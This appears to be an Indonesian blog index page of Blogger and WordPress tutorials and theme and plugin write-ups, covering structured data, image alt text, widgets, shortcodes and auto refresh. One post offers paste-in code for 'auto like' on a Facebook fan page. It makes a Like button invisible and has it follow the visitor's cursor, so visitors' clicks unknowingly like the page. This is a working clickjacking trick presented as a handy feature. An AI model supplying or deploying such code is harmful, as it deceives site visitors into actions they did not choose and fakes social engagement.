free template

Home / Semua Artikel

Friday, May 20

Pengenalan Data Terstruktur

Data terstruktur mengacu pada jenis data dengan tingkat tinggi organisasi, seperti informasi dalam sebuah database relasional. Ketika informasi yang sangat terstruktur dan dapat diprediksi, search engine dapat lebih mudah mengatur dan menampilkannya dalam cara-cara kreatif. Data terstruktur markup adalah organisasi berbasis teks dari data yang disertakan dalam file dan disajikan dari web. Ini biasanya menggunakan kosakata schema.org-upaya masyarakat terbuka untuk meningkatkan standar data terstruktur dalam berbagai aplikasi online.

Data terstruktur markup paling mudah diwakili dalam format JSON-LD, yang adalah singkatan untuk JavaScript Object Notation Data terkait. Berikut ini adalah contoh data terstruktur JSON-LD sederhana yang mungkin Anda gunakan untuk informasi kontak untuk perusahaan Anda:

<script type="application/ld+json">
{
  "@context": "http://schema.org",
  "@type": "Organization",
  "url": "http://www.your-company-site.com",
  "contactPoint": [{
    "@type": "ContactPoint",
    "telephone": "+1-401-555-1212",
    "contactType": "customer service"
  }]
}
</script>

Data terstruktur markup menjelaskan hal-hal di web, bersama dengan sifat-sifat mereka. Misalnya, jika situs Anda bertema resep, Anda bisa menggunakan markup untuk menggambarkan properti untuk setiap resep, seperti ringkasan, URL foto untuk hidangan, dan rating keseluruhan dari pengguna.

Ketika Anda memberikan data terstruktur markup untuk konten online Anda, Anda membuat konten yang layak untuk ditampilkan dalam dua kategori fitur pencarian Google:

Kaya pencaharian — data terstruktur untuk hal-hal seperti resep, artikel, dan video dapat muncul dalam kartu kaya, sebagai satu elemen atau daftar item. Jenis lain dari data terstruktur dapat meningkatkan penampilan situs Anda dalam pencarian, seperti remah roti, atau kotak pencarian Sitelinks.

Kartu grafik pengetahuan — jika Anda otoritas untuk konten tertentu, Google dapat memperlakukan data yang telah terstruktur di situs Anda sebagai faktual dan impor ke grafik pengetahuan, mana itu dapat kekuatan dalam pencarian di halaman depan dan di properti Google. Kartu grafik pengetahuan muncul untuk data yang berbobot tentang organisasi, dan peristiwa. Ulasan Film, dan film musik bermain tindakan, sementara berdasarkan peringkat, juga dapat muncul dalam pengetahuan grafik kartu setelah mereka didamaikan kepada pengetahuan grafik entitas

Baca selengkapnya

Monday, April 11

tutorial

Cara Menambah Auto Like Funpage Facebook Di Blog

upet 8:12 AM Komentar

Kali ini saya akan share script auto like funpage facebook lewat blog, Caranya cukup mudah loh, Pertama buka template lalu klik edit HTML selanjutnya Copy Paste script di bawah lalu letakkan di atas ]]></b:skin>

.fb-like {opacity:0.0;}

selanjutnya copy paste lagi script di bawah kemudian di letakkan di atas </body>

<script type='text/javascript'>
//<![CDATA[
$(document).ready(function () {
$(document).mousemove(function (e) {
      $('.fb-like').offset({
          left: e.pageX + -40,
          top: e.pageY + -10
      });
});
});
//]]>
</script>
<div class='fb-like' data-action='like' data-href='https://facebook.com/bangwill.info' data-layout='button' data-share='false' data-show-faces='false' data-width='1'/>

selanjutnya sisa klik simpan template, cukup mudah kan? selamat berexperimen

Baca selengkapnya

seo friendly tutorial

Cara Optimasi Gambar Postingan Secara Otomatis

upet 3:01 AM Komentar

Cara Optimasi Gambar Postingan Secara Otomatis sangat berguna untuk mempercepat membuat postingan terutama postingan yang banyak mengandung unsur gambar, tapi dengan menggunakan script ini anda tidak perlu repot lagi memberi descripsi secara manual setiap gambar karena cript ini akan memberi descripsi gambar secara otomatis biar lebih SEO.

Dengan terdescripsinya gambar otomatis menambah nilai plus mata mesin pencaharian, terutama pencaharian gambar. banyak orang menganggap gambar tidak terlalu penting, buat saya jauh beda sedikit apapun pengaruhnya tetep ada nilainya di mata mesin pencaharian.

oke lah klo begitu kita langsung saja ke tahap pengerjaann. untuk pengerjaan nya boleh di bilang sangat simple cuku copy pastekan script di bawah ini ke template tepatnya di antara <body> dan </body>

code script

<script type='text/javascript'>
//<![CDATA[
$(document).ready(function() {
$('img').each(function(){
var $img = $(this);
var filename = $img.attr('src')
$img.attr('alt', filename.substring((filename.lastIndexOf('/'))+1, filename.lastIndexOf('.')));
});
});
//]]>
</script>
<script type='text/javascript'>
//<![CDATA[
$(document).ready(function() {
$('img').each(function(){
var $img = $(this);
var filename = $img.attr('src')
$img.attr('title', filename.substring((filename.lastIndexOf('/'))+1, filename.lastIndexOf('.')));
});
});
//]]>
</script>
<script type='text/javascript'>
//<![CDATA[
var scrollTimer = null;
$(window).scroll(function() {
   var viewportHeight = $(this).height(),
       scrollbarHeight = viewportHeight / $(document).height() * viewportHeight,
       progress = $(this).scrollTop() / ($(document).height() - viewportHeight),
       distance = progress * (viewportHeight - scrollbarHeight) + scrollbarHeight / 2 - $('#scroll').height() / 2;
    $('#scroll')
        .css('top', distance)
        .text(' (' + Math.round(progress * 100) + '%)')
        .fadeIn(100);
    if (scrollTimer !== null) {
        clearTimeout(scrollTimer);
    }
    scrollTimer = setTimeout(function() {
        $('#scroll').fadeOut();
    }, 1500);
});
//]]>
</script>

Baca selengkapnya

Saturday, April 9

tutorial

ShortCodes Untuk Postingan Blog

upet 2:38 AM Komentar

Drop Caps

<span class="first-letter">Your First Letter here</span>

Blockquote

Untuk membuat Blockquote cukup pilih semua teks yang Anda ingin menjadi Kutipan dan klik pada icon Kutipan dari posting blog panel editor teks.

Buttons
Menambahkan demo dan download button.

<div style="text-align: center;">
<ul class="button">
<li><a class="demo" href="YOUR-LINK-HERE" target="_blank">DEMO</a></li>
<li><a class="download" href=" YOUR-LINK-HERE" target="_blank">DOWNLOAD</a></li>
</ul>
</div>
<div class="clear"></div>

Spoiler

<div id="flippy"><button>Spoiler</button></div> <div id="flippanel"> --- TAMBAHKAN KONTEN DISINI --- </div>

Membagi konten post menjadi tiga

<div class="bagitiga">
--- TAMBAHKAN KONTEN DISINI ---
</div>

Memasang Table di postingan

<table cellpadding="0" cellspacing="0" style="text-align: left;">
    <tbody>
        <tr>
            <th>Table Header 1</th>
            <th>Table Header 2</th>
            <th>Table Header 3</th>
        </tr>
        <tr>
            <td>Division 1</td>
            <td>Division 2</td>
            <td>Division 3</td>
        </tr>
        <tr>
            <td>Division 1</td>
            <td>Division 2</td>
            <td>Division 3</td>
        </tr>
        <tr>
            <td>Division 1</td>
            <td>Division 2</td>
            <td>Division 3</td>
        </tr>
    </tbody>
</table>

Baca selengkapnya

Friday, April 8

tutorial widget

Cara Masang Widget Breaking News di Blogger

upet 3:51 AM Komentar

Cara Masang Widget Breaking News di Blogger - widget ini sangat cocok untuk blog yang ber thema kan berita tapi bisa juga di terapkan untuk blog lainnya untuk keperluan menyampaikan info penting ke pengjung blog.

cara masang widget breaking news di blob

oke lah kita langsug ajha ya

login ke blog seperti biasa
pilih blog yang akan di pasangin widget (klo memiliki banyak blog)
setelah itu pilih template >> Edit HTML
copy paste code di bawah ke tempat sebelum ]]></b:skin> atau
</style>

/* CSS News Ticker */
.ticker-wrap{display:block;text-align:center;margin:0 20px 20px 20px;padding:2px;background:#fefefe;border:1px solid rgba(0,0,0,0.1);border-left:5px solid #3cc091}
.ticker-wrap>span{display:inline-block;background:#fefefe;padding:0;font:700 13px 'roboto',sans-serif}
.ticker-wrap>span>a{color:#222;text-decoration:none}
#ticker{height:45px;overflow:hidden;background:#fefefe;text-align:left}
#ticker ul{padding:0;margin:0;list-style:none}
#ticker ul li{height:45px;white-space:nowrap}
#ticker ul li img{float:left;width:35px;height:35px;margin:5px 7px 5px 5px}
#ticker ul li h3{margin:0;font:700 16px 'roboto',sans-serif}
#ticker ul li h3 a{color:#333;text-decoration:none;line-height:25px!important}
#ticker ul li .tickermeta{font:400 13px 'roboto',sans-serif;line-height:20px!important;color:#999}

jangan lupa di sesuaikan font, warna dan lainnya sesuai dengan blog kalian ya.

selanjutnya copy paste lagi script di bawah dan letakkan di antara <body> dan </body>

<div class='ticker-wrap' data-domain='freethemes.com'>
<div id='ticker'>
</div>
</div>

jangan lupa gnati nama domain atau blog sesua dengan alamat blog kalian, good luck guys

Baca selengkapnya

Wednesday, March 30

tutorial

Cara Buat Daftar Isi Automatis Blogger

upet 5:22 AM Komentar

Cara Buat Daftar Isi Automatis Blogger sangat mudah sekali cuku dengan membuat page seperti bisa terus klik HTML dan copy paste script yang ada di bawah

<div dir="ltr" style="text-align: left;" trbidi="on">
<div align="center">
<span style="font-size: large;"><b><span style="color: black;">Daftar Isi</span></b></span></div>
<script src="http://my-sitemap-dbb.googlecode.com/files/dbbsitemap.js">
</script>
<script src="http://www.freethemes.click/feeds/posts/default?max-results=9999&alt=json-in-script&callback=loadtoc">
</script></div>

jangan lupa ganti freethemes.click(yang di bold) dengan domain kamu sendiri

penampakan daftar isi

Baca selengkapnya

Monday, March 28

tutorial

Cara Masang Auto Refresh Pada Blog

upet 5:59 PM Komentar

Cara Masang Auto Refresh Pada Blog sangat simple, ikuti langkah-langkah berikut

login ke blog
buka template
klik edit HTML
kemudian cari <head>

lalu copy kode brikut

<meta content='800' http-equiv='refresh'/>

cukup mudah kan? silahkan di coba
maksud content='800' artinya akan di refresh tiap 800 detik, silahkan di sesuaikan dengan keinginan masing-masig

Baca selengkapnya

template wordpress themes

Falco - Responsive Multi-Purpose WordPress Theme

upet 7:52 AM Komentar

Falco - Responsive Multi-Purpose WordPress Theme adalah yang paling menakjubkan dan kuat WordPress Tema kami. Khusus untuk Falco tema kita buat Muffin Framework 2.0 - Muffin benar-benar baru Builder dengan ton kemungkinan-kemungkinan baru dan Muffin Options dengan desain yang sama sekali baru & segar. Tema super fleksibel, super bersih dan sepenuhnya responsif dengan lot`s halaman yang telah ditetapkan dan layout.Bangunan Pages tidak pernah begitu mudah dan cepat. Sejak versi ini, Muffin Builder split pada bagian. Setiap bagian dapat memiliki pilihan yang berbeda seperti bantalan, latar belakang (warna, pola, gambar, parallax), sidebars, tata letak, kelas dan banyak lagi. Di dalam setiap bagian Anda dapat memiliki apa pun yang Anda inginkan (item muffin builder, shortcode, tag html, iframe, dll ...). Kami juga didn `t lupa pengguna tentang lebih maju. Untuk setiap bagian Anda dapat menggunakan gaya sendiri jadi pada dasarnya tema ini dapat memiliki unlimited semuanya :) Setiap website berdasarkan tema ini dapat benar-benar berbeda dan cocok untuk semua jenis website.Falco tema yang pilihan yang sempurna untuk semua orang. Tidak masalah jika Anda coder dari instansi situs web atau orang hanya yang memiliki bisnis sendiri dan ingin membuat website bagi pelanggan sendiri atau diri Anda sendiri. Dengan solusi kami mengagumkan Anda dapat melakukan segala sesuatu tanpa php / css / pengetahuan html. video besar kami, baik tertulis / dokumentasi bersih dan dukungan yang luar biasa akan menunjukkan kepada Anda bagaimana mudahnya. Membangun website tidak pernah lebih mudah daripada sekarang!PS Untuk semua orang yang ingin mendapatkan halaman yang sama seperti demo kami! Yang perlu Anda lakukan adalah mengimpor file xml kami dengan konten demo dan dalam beberapa detik Anda bisa mendapatkan persis halaman yang sama dengan seluruh isi dan gambar. Hanya menonton video ini dan melihat bagaimana mudahnya :)Silakan lihat di bawah Infographic untuk lebih memahami fungsi dari tema kita.

Modern Design with lot`s of fresh features
NEW & FRESH! Muffin Vertical Slider (fully swiped, responsive, very fast, easy & quick to use)
NEW Muffin Framework 2.0
Muffin Builder splitted on sections More info here
Awesome Full Width Portfolio (fully swiped and responsive) View online here
Timeline Blog Layout View online here
Boxed & Full Width Layout (use background images, patterns or colors)
4 Different Header Layouts
Sticky Header Menu – can be turned on/off from admin panel
Fully Responsive – just check how great it works on mobile devices
Retina Ready – Looks great od tablets and mobile devices
Tap To Call for mobile devices
Contact Form 7 plugin included and styled for theme
- Set up as many different forms as you want
- Choose between things like Captcha, checkboxes, select inputs and much more…
- Most Popular form plugin all around the world
Revolution Slider included – $15 value
- Sliders can be set up for each page
- 100% fully responsive & swipe enabled
- Choose between 24 different transitions for each slide
- Choose between full-width & boxed layout
- Youtube & Vimeo videos support
- Set slider controls, animation times, shadows, thumbnails and much more…
- Drag & Drop captions
- Unlimited slides
- Set up any slides you want (image/images, video/videos, flying objects, text, Buttons, links, backgrounds and whatever you can imagine)
Awesome Drag & Drop Muffin Builder – NOW available for Pages, Posts and Portfolio!
- Easy to use
- Available for Pages, Posts and Portfolio
- Over 20 items included (maps, forms, boxes, pricing tables, videos, portfolios and much more…)
- Build your own page within minutes without any knowledge about html, php or CSS
- Change sizes, positions and much more…
Amazing Muffin Options
- Change color for each element you see
- Choose between 4 predefined skins or create your own
- Turn on/off responsive version by one click
- Choose layout (boxed or full width)
- Change phone & email in header withing seconds
- Choose between different layouts with one click
- Turn on/off Sticky Header Menu
- Use built-in SEO fields
- Unlimited sidebars
- Choose fonts for each text on page (you can use Latin, Cyrilic and many other types of font)
- Built-in translator (translate anything you want on page with our built-in translator)
- Choose between backgrounds images, colors, etc.
- Upload logo & favicon in few seconds
- Blog options support
- Portfolio options support
- Custom CSS support
- and much more…
5 Different Blog Layouts
6 Different Portfolio Layouts
Translation ready – with included .po /.mo files or our built-in translator
WPML ready – for all those who need multilingual website
Child Theme compatible
Fully customizable – easily change the color of nearly every element you see
Over 300 vector icons included
Easy to use for any type of website
100% Responsive Design (turn it on/off by one click)
80+ Shortcodes with Shortcode Generator
- Easy & fast to configure
- Choose between columns, maps, our team, blockquotes, buttons and much more…
- Your page will be ready within few minutes
600+ Google Fonts included
SEO ready
- Built-in SEO fields (use them or turn them off)
- Compatible with plugins like All in One SEO or Yoast
Pre-configured Page Layouts
- 5 homepage examples
- contact page
- About us page
- Help page
- Our team page
- FAQ page
- Gallery page
- Error 404 page
- 11 different portfolio pages
- 10 different blog pages
- and much more…
Unlimited sidebars for pages
8 built-in custom widgets
- Recent Tweets
- Muffin Flickr
- Muffin Menu
- Muffin Company Box
- Muffin Recent Comments
- Muffin Recent Posts
- Muffin Tag Cloud
- Revolution Slider widget
Custom logo, Retina logo & favicon support
Dedicated subpages
Google Maps support
Grid Based Layout
Social media icons
Custom footer menu
Built-in breadcrumbs
HTML5 / CSS3
Cross browser compatible
Clean commented code
Full compatible with Wordpress 3.4, 3.5 and 3.6+
Full documentation included
HD Narrated videos
Layered homepage PSD-file included in the package
XML file with demo content
Outstanding support for customers

Baca selengkapnya

template blogger themes

Template Blog Proxima Game Responsive

upet 4:11 AM Komentar

Template Blog Proxima Game Responsive khusus dirancang untuk blog Gaming, berita dan ulasan Perusahaan memiliki beberapa fitur yang menakjubkan yang membuat situs Gaming Anda lebih menarik dan profesional. Anda dapat membuat beberapa diperlukan perubahan itu dan disesuaikan sesuai dengan kebutuhan Anda.

Template Blog Proxima Game Responsive features:

Responsive Design
Highly Optimized for Search Engines
Beautiful Social Icons
2 Columns Layout
New Ticker
Auto Resize Image Thumbnails
Sticky Drop Down Menu Bar
Tabbed Side Bar
Advertisement Ready
Compatible with modern browsers
Recent Post By Label
Auto Author Image
Custom Error 404 Page
3 Columns Footer

Baca selengkapnya

template blogger themes

Blogger Template RealMag Responsive

upet 3:42 AM Komentar

Blogger Template RealMag Responsive yang dirancang khusus blog berthema Majalah, Multimedia, Gaya modern dan blog berita. Blogger Template RealMag Responsive memiliki tampilan yang bersih dan segar yang membuat blog Anda lebih profesional dan user friendly. Jika Anda menggunakan template ini di blog Anda maka mesin pencari juga dapat merangkak posting blog Anda lebih lancar.

RealMag Responsive Blogger Template have following features:

Fully Responsive Design
Highly Optimized for On Page SEO
Auto Update Feature Post
Dynamic Fluid Layout
Drop Down Menu Bar
Advertisement Ready
3 Columns Layout
Popular Posts Widget with Thumbnails
Numbered Pagination
Social Sharing Bar
Related Post Widget with Thumbnails
Threaded Comment System
4 Columns Footer

Baca selengkapnya

Sunday, March 20

wordpress plugin

Wordpress Plugin Review

upet 9:00 PM Komentar

Wordpress Plugin Review

WP Review plugin is an easy yet powerful way to review content easily, without affecting the speed of your site. If you're a blogger, you probably occasionally review or rank products, services, tools, recipes, or other content on your site.

Complete Setup Tutorial

Did you always want to increase the user interaction on your website by rating products/services/anything? We at MyThemeShop understand your need, & created a premium Review plugin. We are now distributing it for FREE to give back to the WordPress community. We have been given so much by the WordPress community, it’s time to give back.

WP Review plugin is a customizable and lightweight way to create reviews, using stars, percentage or point rating, and it includes support for translation, WPMU, Google rich snippets and unlimited colors. Just install it and follow the simple configuration instructions to place it in your desired location.

See WP Review in action on our demo pages:

Why WP Review from MyThemeShop:

Fastest review plugin.
Stars, percentage and point rating system.
Supports Google Rich Snippets(schema.org)
100% Fluid Responsive.
Option to set Global Position.
Option to change Global Colors.
Option to change individual review Colors and Positions.
Included tabbed widget to show recent reviews and popular reviews.
WP Multisite and Multiuser (WPMU / WPMS / WordPress MU) compatible.
Design it as you want, unlimited color options.
Translation Ready.
Reviews are displayed to visitors in a friendly format.
Completely customizable, including which fields to ask for, require, and show.
Minimal design but could be instantly made modern.
Works with caching plugins and all majority of themes.
Easy to modify the CSS to better fit your theme style.
Support for adding your own custom fields.
Minimalist, lightweight, and efficient code means that your users won’t notice any hiccups.
Position it above or below the content with ease and no coding.
Supports Shortcode `` to show review anywhere in post.
Developer friendly – Useful filters are included! So you can use it in your themes.

Developer Zone

Yes, this plugin is so developer friendly, so you could use it with any theme you develop. Define default CSS, custom position, one line integration in your theme’s code.

Show average review in your theme using below function:

<?php if (function_exists('wp_review_show_total')) wp_review_show_total(); ?>

You can find full list of the available filters here https://github.com/MyThemeShop/WP-Review-by-MyThemeShop/blob/master/filter-list.php, a theme developer can decide to set fixed colors for the reviews, and hide selected (or all) color fields in the metabox, to keep it simple for the end user.

Baca selengkapnya

template wordpress themes

Template Wordpress GridBlog

upet 1:00 PM Komentar

Template Wordpress GridBlog

GridBlog is a beautiful, modern and highly unique grid-based theme for your WordPress site. GridBlog is completely free to use but comes packed with all the features, settings and customization options you would expect from a premium design.

Baca selengkapnya

wordpress plugin

Wordpress Plugin Launcher

upet 9:30 AM Komentar

Wordpress Plugin Launcher

Launcher is the perfect WordPress plugin for anyone launching a new product, website or service. Stun visitors with one of our beautiful, ready-made templates or create your own. Build anticipation with timers, contact forms and other promotional